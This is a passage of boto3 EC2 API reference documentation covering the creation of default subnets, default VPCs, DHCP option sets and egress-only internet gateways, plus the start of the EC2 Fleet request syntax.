'ResponseMetadata': { + '...': '...', + }, +} + +create_default_subnet(kwargs_) + +Creates a default subnet with a size /20 IPv4 CIDR block in the specified Availability Zone in your default VPC. You can have only one default subnet per Availability Zone. For more information, see [Creating a Default Subnet](https://docs.aws.amazon.com/vpc/latest/userguide/default-vpc.html#create-default-subnet) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateDefaultSubnet) + +**Request Syntax** + +response = client.create_default_subnet( + AvailabilityZone='string', + DryRun=True|False +) + +Parameters + +* **AvailabilityZone** (_string_) -- + + **[REQUIRED]** + + The Availability Zone in which to create the default subnet. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Subnet': { + 'AvailabilityZone': 'string', + 'AvailabilityZoneId': 'string', + 'AvailableIpAddressCount': 123, + 'CidrBlock': 'string', + 'DefaultForAz': True|False, + 'MapPublicIpOnLaunch': True|False, + 'MapCustomerOwnedIpOnLaunch': True|False, + 'CustomerOwnedIpv4Pool': 'string', + 'State': 'pending'|'available', + 'SubnetId': 'string', + 'VpcId': 'string', + 'OwnerId': 'string', + 'AssignIpv6AddressOnCreation': True|False, + 'Ipv6CidrBlockAssociationSet': [ + { + 'AssociationId': 'string', + 'Ipv6CidrBlock': 'string', + 'Ipv6CidrBlockState': { + 'State': 'associating'|'associated'|'disassociating'|'disassociated'|'failing'|'failed', + 'StatusMessage': 'string' + } + }, + ], + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'SubnetArn': 'string', + 'OutpostArn': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + + * **Subnet** _(dict) --_ + + Information about the subnet. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone of the subnet. + + * **AvailabilityZoneId** _(string) --_ + + The AZ ID of the subnet. + + * **AvailableIpAddressCount** _(integer) --_ + + The number of unused private IPv4 addresses in the subnet. The IPv4 addresses for any stopped instances are considered unavailable. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block assigned to the subnet. + + * **DefaultForAz** _(boolean) --_ + + Indicates whether this is the default subnet for the Availability Zone. + + * **MapPublicIpOnLaunch** _(boolean) --_ + + Indicates whether instances launched in this subnet receive a public IPv4 address. + + * **MapCustomerOwnedIpOnLaunch** _(boolean) --_ + + Indicates whether a network interface created in this subnet (including a network interface created by RunInstances ) receives a customer-owned IPv4 address. + + * **CustomerOwnedIpv4Pool** _(string) --_ + + The customer-owned IPv4 address pool associated with the subnet. + + * **State** _(string) --_ + + The current state of the subnet. + + * **SubnetId** _(string) --_ + + The ID of the subnet. + + * **VpcId** _(string) --_ + + The ID of the VPC the subnet is in. + + * **OwnerId** _(string) --_ + + The ID of the AWS account that owns the subnet. + + * **AssignIpv6AddressOnCreation** _(boolean) --_ + + Indicates whether a network interface created in this subnet (including a network interface created by RunInstances ) receives an IPv6 address. + + * **Ipv6CidrBlockAssociationSet** _(list) --_ + + Information about the IPv6 CIDR blocks associated with the subnet. + + * _(dict) --_ + + Describes an IPv6 CIDR block associated with a subnet. + + * **AssociationId** _(string) --_ + + The association ID for the CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **Ipv6CidrBlockState** _(dict) --_ + + Information about the state of the CIDR block. + + * **State** _(string) --_ + + The state of a CIDR block. + + * **StatusMessage** _(string) --_ + + A message about the status of the CIDR block, if applicable. + + * **Tags** _(list) --_ + + Any tags assigned to the subnet. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **SubnetArn** _(string) --_ + + The Amazon Resource Name (ARN) of the subnet. + + * **OutpostArn** _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + +create_default_vpc(kwargs_) + +Creates a default VPC with a size /16 IPv4 CIDR block and a default subnet in each Availability Zone. For more information about the components of a default VPC, see [Default VPC and Default Subnets](https://docs.aws.amazon.com/vpc/latest/userguide/default-vpc.html) in the _Amazon Virtual Private Cloud User Guide_ . You cannot specify the components of the default VPC yourself. + +If you deleted your previous default VPC, you can create a default VPC. You cannot have more than one default VPC per Region. + +If your account supports EC2-Classic, you cannot use this action to create a default VPC in a Region that supports EC2-Classic. If you want a default VPC in a Region that supports EC2-Classic, see "I really want a default VPC for my existing EC2 account. Is that possible?" in the [Default VPCs FAQ](https://aws.amazon.com/vpc/faqs/#Default_VPCs) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateDefaultVpc) + +**Request Syntax** + +response = client.create_default_vpc( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Vpc': { + 'CidrBlock': 'string', + 'DhcpOptionsId': 'string', + 'State': 'pending'|'available', + 'VpcId': 'string', + 'OwnerId': 'string', + 'InstanceTenancy': 'default'|'dedicated'|'host', + 'Ipv6CidrBlockAssociationSet': [ + { + 'AssociationId': 'string', + 'Ipv6CidrBlock': 'string', + 'Ipv6CidrBlockState': { + 'State': 'associating'|'associated'|'disassociating'|'disassociated'|'failing'|'failed', + 'StatusMessage': 'string' + }, + 'NetworkBorderGroup': 'string', + 'Ipv6Pool': 'string' + }, + ], + 'CidrBlockAssociationSet': [ + { + 'AssociationId': 'string', + 'CidrBlock': 'string', + 'CidrBlockState': { + 'State': 'associating'|'associated'|'disassociating'|'disassociated'|'failing'|'failed', + 'StatusMessage': 'string' + } + }, + ], + 'IsDefault': True|False, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + * **Vpc** _(dict) --_ + + Information about the VPC. + + * **CidrBlock** _(string) --_ + + The primary IPv4 CIDR block for the VPC. + + * **DhcpOptionsId** _(string) --_ + + The ID of the set of DHCP options you've associated with the VPC. + + * **State** _(string) --_ + + The current state of the VPC. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **OwnerId** _(string) --_ + + The ID of the AWS account that owns the VPC. + + * **InstanceTenancy** _(string) --_ + + The allowed tenancy of instances launched into the VPC. + + * **Ipv6CidrBlockAssociationSet** _(list) --_ + + Information about the IPv6 CIDR blocks associated with the VPC. + + * _(dict) --_ + + Describes an IPv6 CIDR block associated with a VPC. + + * **AssociationId** _(string) --_ + + The association ID for the IPv6 CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **Ipv6CidrBlockState** _(dict) --_ + + Information about the state of the CIDR block. + + * **State** _(string) --_ + + The state of the CIDR block. + + * **StatusMessage** _(string) --_ + + A message about the status of the CIDR block, if applicable. + + * **NetworkBorderGroup** _(string) --_ + + The name of the unique set of Availability Zones, Local Zones, or Wavelength Zones from which AWS advertises IP addresses, for example, us-east-1-wl1-bos-wlz-1 . + + * **Ipv6Pool** _(string) --_ + + The ID of the IPv6 address pool from which the IPv6 CIDR block is allocated. + + * **CidrBlockAssociationSet** _(list) --_ + + Information about the IPv4 CIDR blocks associated with the VPC. + + * _(dict) --_ + + Describes an IPv4 CIDR block associated with a VPC. + + * **AssociationId** _(string) --_ + + The association ID for the IPv4 CIDR block. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block. + + * **CidrBlockState** _(dict) --_ + + Information about the state of the CIDR block. + + * **State** _(string) --_ + + The state of the CIDR block. + + * **StatusMessage** _(string) --_ + + A message about the status of the CIDR block, if applicable. + + * **IsDefault** _(boolean) --_ + + Indicates whether the VPC is the default VPC. + + * **Tags** _(list) --_ + + Any tags assigned to the VPC. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +create_dhcp_options(kwargs_) + +Creates a set of DHCP options for your VPC. After creating the set, you must associate it with the VPC, causing all existing and new instances that you launch in the VPC to use this set of DHCP options. The following are the individual DHCP options you can specify. For more information about the options, see [RFC 2132](https://www.ietf.org/rfc/rfc2132.txt) . + +* domain-name-servers - The IP addresses of up to four domain name servers, or AmazonProvidedDNS. The default DHCP option set specifies AmazonProvidedDNS. If specifying more than one domain name server, specify the IP addresses in a single parameter, separated by commas. To have your instance receive a custom DNS hostname as specified in domain-name , you must set domain-name-servers to a custom DNS server. +* domain-name - If you're using AmazonProvidedDNS in us-east-1 , specify ec2.internal . If you're using AmazonProvidedDNS in another Region, specify region.compute.internal (for example, ap-northeast-1.compute.internal ). Otherwise, specify a domain name (for example, ExampleCompany.com ). This value is used to complete unqualified DNS hostnames. **Important** : Some Linux operating systems accept multiple domain names separated by spaces. However, Windows and other Linux operating systems treat the value as a single domain, which results in unexpected behavior. If your DHCP options set is associated with a VPC that has instances with multiple operating systems, specify only one domain name. +* ntp-servers - The IP addresses of up to four Network Time Protocol (NTP) servers. +* netbios-name-servers - The IP addresses of up to four NetBIOS name servers. +* netbios-node-type - The NetBIOS node type (1, 2, 4, or 8). We recommend that you specify 2 (broadcast and multicast are not currently supported). For more information about these node types, see [RFC 2132](https://www.ietf.org/rfc/rfc2132.txt) . + +Your VPC automatically starts out with a set of DHCP options that includes only a DNS server that we provide (AmazonProvidedDNS). If you create a set of options, and if your VPC has an internet gateway, make sure to set the domain-name-servers option either to AmazonProvidedDNS or to a domain name server of your choice. For more information, see [DHCP Options Sets](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_DHCP_Options.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateDhcpOptions) + +**Request Syntax** + +response = client.create_dhcp_options( + DhcpConfigurations=[ + { + 'Key': 'string', + 'Values': [ + 'string', + ] + }, + ], + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) + +Parameters + +* **DhcpConfigurations** (_list_) -- + + **[REQUIRED]** + + A DHCP configuration option. + + * _(dict) --_ + * **Key** _(string) --_ + * **Values** _(list) --_ + * _(string) --_ +* **TagSpecifications** (_list_) -- + + The tags to assign to the DHCP option. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id79)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id81)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'DhcpOptions': { + 'DhcpConfigurations': [ + { + 'Key': 'string', + 'Values': [ + { + 'Value': 'string' + }, + ] + }, + ], + 'DhcpOptionsId': 'string', + 'OwnerId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **DhcpOptions** _(dict) --_ + + A set of DHCP options. + + * **DhcpConfigurations** _(list) --_ + + One or more DHCP options in the set. + + * _(dict) --_ + + Describes a DHCP configuration option. + + * **Key** _(string) --_ + + The name of a DHCP option. + + * **Values** _(list) --_ + + One or more values for the DHCP option. + + * _(dict) --_ + + Describes a value for a resource attribute that is a String. + + * **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + * **DhcpOptionsId** _(string) --_ + + The ID of the set of DHCP options. + + * **OwnerId** _(string) --_ + + The ID of the AWS account that owns the DHCP options set. + + * **Tags** _(list) --_ + + Any tags assigned to the DHCP options set. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +**Examples** + +This example creates a DHCP options set. + +response = client.create_dhcp_options( + DhcpConfigurations=[ + { + 'Key': 'domain-name-servers', + 'Values': [ + '10.2.5.1', + '10.2.5.2', + ], + }, + ], +) + +print(response) + +Expected Output: + +{ + 'DhcpOptions': { + 'DhcpConfigurations': [ + { + 'Key': 'domain-name-servers', + 'Values': [ + { + 'Value': '10.2.5.2', + }, + { + 'Value': '10.2.5.1', + }, + ], + }, + ], + 'DhcpOptionsId': 'dopt-d9070ebb', + }, + 'ResponseMetadata': { + '...': '...', + }, +} + +create_egress_only_internet_gateway(kwargs_) + +[IPv6 only] Creates an egress-only internet gateway for your VPC. An egress-only internet gateway is used to enable outbound communication over IPv6 from instances in your VPC to the internet, and prevents hosts outside of your VPC from initiating an IPv6 connection with your instance. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateEgressOnlyInternetGateway) + +**Request Syntax** + +response = client.create_egress_only_internet_gateway( + ClientToken='string', + DryRun=True|False, + VpcId='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **ClientToken** (_string_) -- Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. For more information, see [How to Ensure Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Run_Instance_Idempotency.html) . +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC for which to create the egress-only internet gateway. + +* **TagSpecifications** (_list_) -- + + The tags to assign to the egress-only internet gateway. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id84)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id86)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ClientToken': 'string', + 'EgressOnlyInternetGateway': { + 'Attachments': [ + { + 'State': 'attaching'|'attached'|'detaching'|'detached', + 'VpcId': 'string' + }, + ], + 'EgressOnlyInternetGatewayId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **ClientToken** _(string) --_ + + Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. + + * **EgressOnlyInternetGateway** _(dict) --_ + + Information about the egress-only internet gateway. + + * **Attachments** _(list) --_ + + Information about the attachment of the egress-only internet gateway. + + * _(dict) --_ + + Describes the attachment of a VPC to an internet gateway or an egress-only internet gateway. + + * **State** _(string) --_ + + The current state of the attachment. For an internet gateway, the state is available when attached to a VPC; otherwise, this value is not returned. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **EgressOnlyInternetGatewayId** _(string) --_ + + The ID of the egress-only internet gateway. + + * **Tags** _(list) --_ + + The tags assigned to the egress-only internet gateway. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +create_fleet(kwargs_) + +Launches an EC2 Fleet. + +You can create a single EC2 Fleet that includes multiple launch specifications that vary by instance type, AMI, Availability Zone, or subnet. + +For more information, see [Launching an EC2 Fleet](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-fleet.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateFleet) + +**Request Syntax** + +response = client.create_fleet( + DryRun=True|False, + ClientToken='string', + SpotOptions={ + 'AllocationStrategy': 'lowest-price'|'diversified'|'capacity-optimized', + 'MaintenanceStrategies': { + 'CapacityRebalance': { + 'ReplacementStrategy': 'launch' + } + }, + 'InstanceInterruptionBehavior': 'hibernate'|'stop'|'terminate', + 'InstancePoolsToUseCount': 123, + 'SingleInstanceType': True|False, + 'SingleAvailabilityZone': True|False, + 'MinTargetCapacity': 123, + 'MaxTotalPrice': 'string' + }, + OnDemandOptions={ + 'AllocationStrategy': 'lowest-price'|'prioritized', + 'CapacityReservationOptions': { + 'UsageStrategy': 'use-capacity-reservations-first' + }, + 'SingleInstanceType': True|False, + 'SingleAvailabilityZone': True|False, + 'MinTargetCapacity': 123, + 'MaxTotalPrice': 'string' + }, + ExcessCapacityTerminationPolicy='no-termination'|'termination', + LaunchTemplateConfigs=[ + { + 'LaunchTemplateSpecification': { + 'LaunchTemplateId': 'string', + 'LaunchTemplateName': 'string', + 'Version': 'string' + }, + 'Overrides': [ + { + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6